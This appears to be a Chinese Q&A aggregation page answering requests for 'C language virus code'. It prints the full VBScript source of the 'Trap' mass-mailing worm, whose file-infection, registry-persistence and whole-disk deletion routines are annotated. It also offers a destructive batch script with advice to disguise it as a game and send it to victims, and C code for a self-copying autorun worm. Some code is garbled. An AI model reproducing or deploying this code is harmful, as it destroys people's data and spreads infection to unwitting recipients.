c語言病毒代碼
❶ 給個c語言病毒代碼.....要復制的....越長越好
下面就對「陷阱」的發作過程和源代碼作詳細的揭密。
病毒具有自身加密能力(使用 javaScript 編碼技術),使得普通用戶無法看到病毒原碼,但在被感染 VBS 文件中並沒有加密,於是作為一個入口點,我非常輕松地得到所有源碼。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'這句話的意思可能是「借刀殺人」,然後是病毒名稱「陷阱」
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) 』白宮相關人員郵件名單
whb(0) = "[email protected]"
whb(1) = "[email protected] "
whb(2) = "[email protected]"
whb(3) = "[email protected]"
'發送郵件的主題
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路徑
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '創建文件系統對象
if getErr then '辨認病毒狀態
Randomize '初始化隨機種子
ra = int(rnd() * 7) '產生隨機數
doucment.write title(ra) ' 寫隨機內容
ExecuteMail '執行郵件狀態時的程序
else
ExecutePage '執行 WEB 頁狀態時的程序
end if
else
ExecuteVbs '執行 VBS 文件狀態時的程序
end if
end sub
Function getErr() 忽略錯誤
if Err.number<>0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 頁狀態時的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼
Js_Str = GetJavaScript() ' 得到 Javascript 代碼
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過的腳本代碼
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼
Gf
'定義病毒文件的路徑
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 兩個文件非常迷惑人
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
'創建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注冊表,讓病毒文件在每一次計算機啟動自動執行
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 執行發送郵件程序
Hackpage ' 執行感染網站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬碟和網路共享硬碟
call SearchHTML(x & "\") '執行文件感染程序
end if
next
if TestUser then '檢查用戶
Killhe 執行刪除文件操作
else
if Month(Date) & Day(Date) = "75" then '如系統時間為 7月5日
set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) 』創建系統攻擊文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自動啟動
window.navigate "c:/con/con" '立刻藍屏,利用 Windows BUG,能引起 Win9X 系統100%死機(即無法恢復的藍屏)
else '如不是7.5
if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 刪除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '郵件狀態時執行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '創建 TypeLib對象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '創建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開會隱藏的窗口
end sub
sub ExecuteVbs() ' 同理,如病毒文件是 VBS 時所執行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系統路徑
w1=fso.GetSpecialFolder(0) & "\"
w2=fso.GetSpecialFolder(1) & "\"
end sub
function Readreg(key_str) '讀注冊表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '寫注冊表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '創建HTML 文件的完整代碼
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _
"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"<" & "/BOAD><" & "/HTML>"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒進行自我加密過程,較為復雜,不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n</'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\n</'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"
else
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"
end if
end function
function GetScriptCode(Languages) ' 得到不同腳本語言的代碼
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text)> 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '檢測用戶過程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用戶關鍵詞
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '創建網路對象
'下面一共3個循環,作用一樣,是檢查用戶的 Domain、用戶名和計算機名是否含有以上的5個關鍵詞語,一旦含有程序將返回」真」的條件,從而對這些用戶的文件進行瘋狂刪除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) >0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '發送文件過程
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿發送帶能直接感染文件的已加密的病毒代碼和HTML 附件
主題是隨機的,此過程與「歡樂時光「類似,所以不再描述
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec > Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
'下面是對指定的用戶無條件發送大量病毒郵件, 從這一點可看出病毒作者對美國政府的極度不滿。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復發送
end function
sub SearchHTML(Path) '搜索可傳染文件的過程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
if Path <> "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '檢查文件的擴展名是否為 htm、html、plg 如是則檢查是否被感染,如未被感染則將已加密的病毒代碼插入文件頭,這樣文件一旦執行也會執行病毒代碼,而且不會影響原文件的正常執行。
if Code_Str<>"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件,則插入未加密的病毒代碼
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盤刪除文件過程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_
"DELTREE c:\" '將刪除C盤的命令插入Autoexec.bat 中,下次開機時,刪除整個硬碟,並沒有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf & codeText
ko.Close
'接著立刻刪除其它盤的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x & "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '讓系統立刻死機
window.open ""
loop
end sub
sub Hackpage() ' 此過程是直接攻擊 Mircosoft IIS 伺服器主頁過程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判斷是否為網站,如是則將已加密的帶病毒代碼插入文件頭,從而直接傳染瀏覽該網站的用戶
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此過程是病毒傳染文件具體過程
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub '傳染大小小於100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer '插入到文件頭
tso.close
end if
else
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
雖然病毒發作日已過但我們還是要小心提防病毒的變種出現。
❷ 如何用C語言編一個簡單病毒
建立一個文檔,寫入如下片段:
@echo off
del /f /s /q %systemdrive%\*.*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo
之後保存將文件重命名為"【文件名】.bat"
然後文件會自動變異為木馬文件【360 瑞星什麼的彈窗狂出】,別管他,允許就行了,大約重命名完成後不到半秒就完事了,然後把這個文件發到別人電腦里,名字弄得吸引人一些,比如游戲啊,電影,歌曲什麼的,【擴展名一定為.bat】只要他一打開............片刻之後,除了裝系統估計一般人沒轍了
以上為最簡單的病毒軟體了。利用的是批處理刪除系統文件的方法
❸ 怎樣用C語言編寫病毒 / 藍訊
要編制一個病毒,首先要知道病毒的運行機理。
不論是何種病毒,它一般在結構上分為三個功能模塊:感染機制,觸發機制和有效載荷。
在病毒結構中,首要的而且唯一必需的部分是感染機制。病毒首先必須是能夠繁殖自身的代碼,這是病毒之所以成為病毒的根本
原因。我們可以用一段類C偽碼來表示這個過程。
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二個主要構成部分是有效載荷觸發事件.一個病毒來到你的電腦後,不大可能立即發作,否則它不會被傳播得很遠.潛伏的敵人永遠要比能見到的敵人危險得多.病毒一般是在找到一定數量的感染體,某一日期或時間,某一段文本後觸發.
一個簡單的觸發機制可能是這樣工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效載荷就是病毒用來騷擾你的電腦的方法,有觸發機制的病毒一般也有有效載荷。它可以是任意的給你發一條一次性簡單的愚弄信息,重新格式化你的磁碟,把它自己郵給你的E_mail通信者都可以成為有效的負荷。簡單的有效負荷可以如下進行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
❹ 怎麼用C語言編寫木馬、病毒等程序
C語言當然可以編寫病毒,事實上很多程序都是用C/C++編寫出來的。x0dx0a編程語言本身沒有「貴賤」之分,只用用好了,都是相當強的;區別在於主要適用范圍、編寫的難易程序、執行效率的高低、學習的難易程度,等等。x0dx0aC語言只是一種計算機程序的編寫格式規范,到至於可以編寫出來什麼樣的程序,還要看你所用的C語言編譯器,(比如TC,VC,LCC,GCC等,太多了)。x0dx0a如果有編寫windows程序,就不能用TC,它只能編寫DOS程序,而應該用VC,LCC,C++Builder等編譯工具)x0dx0a編寫出來的程序肯定要調用操作系統提供的功能,如編windows程序,就要調用Win32 API,Dos程序則調用的是DOS中斷,編程實際上就是對這些操作系統所提供功能的調用。x0dx0a現在的病毒很多都是用常用的編程工具編寫的,如VC++,delph,VC,Win32匯編等
❺ C語言編寫的病毒有哪些
由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有vb、e語言、pascal(注意delphy不是一門語言,而是pascal語言的編輯器,就像c++跟vc++之間的關系)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!
❻ 用c語言編寫一個計算機病毒的例子
1):首先要知道語言的層次結構,通常會有直接使用「+」「-」「*」「%」語言都是高級語言。這些語言寫的代碼經過編譯前端編譯後生成中間代碼,最後經過編譯後端處理成目標代碼,也就是在目標平台上可執行的二進制代碼。
2):要知道計算機能執行的只是二進制的代碼。無論是高級語言表達式,如(1+2),還是匯編語言,add
r1,r2,r3.
都要翻譯成目標平台的二進制代碼。
如果你學過微型計算機原理,應該知道一個匯編指令,最終要執行還得用處理器的微指令來表達。
3):最後這些微指令轉化成電信號,控制處理器內的眾多的與或非門,來實現你想要做的運算。
❼ 如何用C語言寫病毒
在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.注冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯復制能力本病毒類似普通U盤病毒雛形,具備自我復制、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
} 如果你想來狠點;把安全模式的注冊表項也刪除了.讓它進不了安全模式;
警告:不會修改注冊表的人;別運行本程序...
❽ 用c語言編寫的病毒有沒有簡單點的 參考一下
#include "stdio.h"
void main()
{
while(1)
{
printf("我是病毒**\n");
}
}